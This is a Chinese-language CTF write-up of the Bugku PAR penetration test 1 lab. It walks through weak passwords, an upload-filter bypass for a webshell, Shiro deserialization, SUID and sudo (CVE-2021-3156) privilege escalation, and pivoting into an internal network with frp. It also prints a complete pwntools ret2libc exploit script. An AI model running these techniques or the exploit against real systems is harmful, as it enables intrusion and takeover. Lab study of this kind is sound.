前言
Bugku的PAR模式,渗透测试1,共11个flag,打了很多次,历时四天,最后还是只拿了10个flag(最后一个看wp做出来的)。整个打靶过程十分坎坷。在此,分享出来笔者的过程,并呈现自己的思考,同时也希望能获得大佬的指点。
过程
第一次打靶
0x01 flag1(F12)
启动场景,给了一个ip,先上nmap扫一波服务
开启了四个端口,从80端口开始,访问页面显示
先上御剑扫着,碰上这种站点,咱先熟悉一下具体功能,随便点点,翻翻页面源代码,果不其然在页面底部看到了flag
0x02 flag2 (弱口令)
根据上一个flag所给的提示,看看御剑扫出来的结果
估摸着应该是需要登录管理员用户了,url后边加上admin访问后台,提示先进行登录,
然后就跳转到后台登录界面了
面对后台登录界面,常用思路就是尝试弱口令,翻翻页面源代码,找找未授权的js接口,忘记密码点点看等,先试试弱口令,admin/admin,一发入魂
在基本设置里找到flag2
0x03 flag3(双写绕过上马getshell)
咱getshell最喜欢用的方式就是文件上传了,翻翻后台管理界面的功能,发现基本设置里边可以上传logo
虽然有白名单,但可以自己更改
在上传后缀处加上php后缀提交之后,就开始burpsuit抓包尝试上马了
返回包显示“上传文件后缀不能为空”,发现它过滤了php后缀,
双写php尝试绕过,成功
浏览器访问,冰蝎连接,根据flag2后面的提示“/home”,跳转到home目录下拿到了flag
0x04 flag4(数据库弱口令)
根据上一个flag的提示,去数据库里边看看,尝试一下mysql默认用户名密码root/root然后就连上了,首当其冲的就是flag数据库里边的flag表,直接读就完事了
0x05 flag5(pwn缓冲区溢出)
根据题目的提示还有上一个flag的提示,去home/ctf目录下找到了main文件
拿出来看了一下,是一个32位的可执行文件
拖到IDA32里边F5看了一下伪代码
初步判断应该是一个pwn题,而且是缓冲区溢出类型的,但作为一个菜鸟web手,我对于pwn可谓是一窍不通,所以肯定是不会做了,于是第一次打靶到此结束。
第二次打靶
0x05 flag5(pwn缓冲区溢出)
在经历了三天pwn教程的折磨后,我又战战兢兢地踏上了第二次的打靶历程
这次再看到main文件的伪代码,我一眼就看出来肯定是vul函数里有溢出问题(废话,哈哈),作为缓冲区溢出漏洞,有着很多种类型,ret2text、ret2shellcode、ret2syscall、ret2libc,如何判断这个题是属于哪种缓冲区溢出类型呢?
一般来讲pwn题的思路
1.没有NX保护,程序源码自带系统命令函数,找到系统命令函数的地址,使用ret2text,直接覆盖返回地址即可
2.没有NX保护,找不到system函数,利用输入函数,将shellcode写入到程序中,将shellcode的地址覆盖返回地址即可:ret2shellcode
3.有NX保护,利用ROPGadget配合int 0x80调用execve,调用系统函数:ret2syscall
4.有NX保护,利用libc获取system函数的相对位置:ret2libc
这样一看其实就很清晰了,咱去checksec一下
可以看到这个main文件开了NX保护机制,NX保护机制是什么呢?
NX即No-execute,不可执行的意思,基本原理是将数据所在内存页标识为不可执行,也就是数据不可执行,防止因为程序运行出现溢出而使得攻击者的shellcode可能会在数据区尝试执行的情况。
根据上面获取到的信息,其实就已经知道这是一个ret2libc类型的题,那这种题该怎么去做呢?
1、泄露一个ret2libe3函数的位置
2、获取libc的版本(只有被执行过的函数才能获取地址)
LibcSearcher: https://github.com/lieanu/LibcSearcher
https://ibc.blukat.me
3、根据偏移获取shell和sh的位置
求libc基地址(函数动态地址-函数偏移量)
求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell
目的明确,思路清晰,之后我就拉了一个pwndocker的镜像,开始gdb调试,直接cyclic生成一大串字符,输入,然后程序就会报错,
然后通过cyclic就可以计算出缓冲区到返回地址的距离为40
看一下gadget,因为要用到write函数,并给它传参,参数压栈后肯定是需要出栈的,pop出wirte的三个参数,最后ret回到main函数的地址开始重新执行所以用倒数第三个
然后就可以开始写exp了
from pwn import *
from LibcSearcher import *
p = remote('xx.xx.xx.xx',9999) #远程
#p = process('./main') #本地
elf = ELF('./main')
#创建一个文件对象
start_addr = elf.symbols['_start']
write_plt = elf.plt['write']
#需要被泄露的函数地址
write_got = elf.got['write']
ppp_ret = 0x08048559 #gadget
offset = 40
#返回地址与缓冲区的距离
payload = b'A'*offset + p32(write_plt) + p32(ppp_ret) + p32(1)\
+ p32(write_got) + p32(8) + p32(start_addr)
p.sendlineafter('plz input your name:\n',payload)
write_addr = u32(p.recv(4))
#获取write函数的真实地址
libc = LibcSearcher('write',write_addr)
#查找属于哪个libc库
libc_base = write_addr - libc.dump('write')
#获取libc的基址,计算出其他函数的地址
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'A'*offset +p32(system_addr) + b'a'*4 + p32(binsh_addr)
#偏移长度+system函数地址+system返回地址+binsh的地址
p.sendlineafter('plz input your name:\n',payload)
p.interactive()
python运行,选择第三个,拿到shell也拿到了flag
0x06 flag6(目录扫描)
根据上一题的提示访问8080端口,
一个登录界面,老样子先扫目录,我翻翻页面源代码,试试弱口令,未果,最后看了一下御剑扫出来的结果
访问一下robots.txt,flag就出来了
0x07 flag7 (shiro反序列化)
根据上一题的提示是shiro,burpsuit抓包一看,很明显的一个特征
直接shiro工具一把梭
成功拿下flag
0x08 flag8 (suid提权)
题目没有给任何提示,正常流程做到这应该是需要我去提权了,虽然之前pwn题拿到的权限是root,但好像并不是同一台机子,估摸着是由内网的机子将端口服务映射到这台公网的服务器上,
想先给它弹一个shell回来操作起来可能会方便一些,但是一直弹不回来,可能是不出网吧
老老实实的先提权吧,提权我只会三板斧,suid、sudo -l看看sudoer加上内核提权,先看看suid吧
然后搁GTFOBins上找了一下对应的命令发现只有find符合要求
所以就使用find进行提权了,执行find命令,成功拿到flag
0x09 flag9(内网)
根据提示看看内网,
使用shiro工具命令执行ifconfig看看网段,一直回显不了,
然后时间也差不多了,于是第二次打靶告终
第三次打靶
0x09 flag9(内网)
到这里简单回顾一下,目前已经拿到了三个shell,一个文件上传木马拿到的shell;一个pwn拿下的root权限的shell;一个shiro反序列化拿到的shell,去前面拿下的shell试试,
这次我直接看一下有哪些命令,好家伙自带了nmap,还有wget
nmap直接扫一波(最好是将扫描结果保存到文件中,再从文件中读取结果),结果发现有四台机子
用wget从公网vps上下载frp全套,然后开一个Sock5代理,然后每个ip的端口都访问一下,发现只有192.168.0.4这台机子的web站点是之前没有看到过的
看左上角熟悉的小图标,tp框架,url乱输,网站报错看到tp框架的版本5.0.20
该版本可以代码执行,直接写个一句话木马
上蚁剑(也要挂上代理),网站根目录下拿到flag
0x10 flag10(数据库)
上一个flag提示数据库,先翻一下该站点的配置文件
(突然想起来之前flag4,应该也是去找网站配置文件拿到数据库账号密码,结果我运气好,直接默认密码给试出来了,哈哈现在补一张flag4的截图)
尝试mysql进行连接,但并不让执行,
想看一下这台机子能不能出网,结果ping不了
然后我就默认为这台机子不出网,需要挂个二级代理,而且这台机子也有wget,把3306端口转到192.168.0.2这台机子上,但是在挂这二级代理的时候,一直出现端口问题,
花费了很长的时间,最后frp没挂上,时间到了,第三次也就这样结束了
第四次打靶
0x10 flag10(数据库)
这次重开靶场后,因为二级代理实在是挂不上,抱着侥幸的心理假设它是能出网的,结果一试,好家伙真能出网!3306端口被暴露在我的公网vps上,直接Navicat连接上了,还是熟悉的flag
0x11 flag11(提权)
根据上一个flag的提示,很明显是要提权,查找有suid权限的命令,没有;看一下sudo -l,再看看定时任务,以及操作系统和内核版本
ubuntu系统64位linux 3.0.10
一顿操作猛如虎,试了几个内核的提权脚本,没用,提不了,没招了,我是fw,呜呜呜...
最后看了一下wp,提示是sudo版本发现为1.8.31存在提权漏洞(CVE-2021-3156)
尝试了很多次这个cve的脚本还是提权不成功,蚁剑冰蝎都不行,具体原因不理解,据说是回显的原因
最后传了个冰蝎马,从冰蝎里将shell弹了个metepreter到vps上(有界面的着实用起来比命令行舒服些),再用shell执行才算成功
总结
到这里就结束了,最后回顾一下整个过程发现其实很多地方可以简化操作不用做这么多无用功的,害。虽然过程艰辛,但还是从中学到了很多东西,感触颇多(属于是我人菜瘾大了哈哈,这个模式挺好玩下次继续)。希望师傅们不喜勿喷,感谢。
参考资料
程序保护机制
Pwn教学 ----- Ret2libc
深入理解GOT表和PLT表
Pwn入门之Ret2Libc的相关技巧
StackOverFlow之Ret2libc详解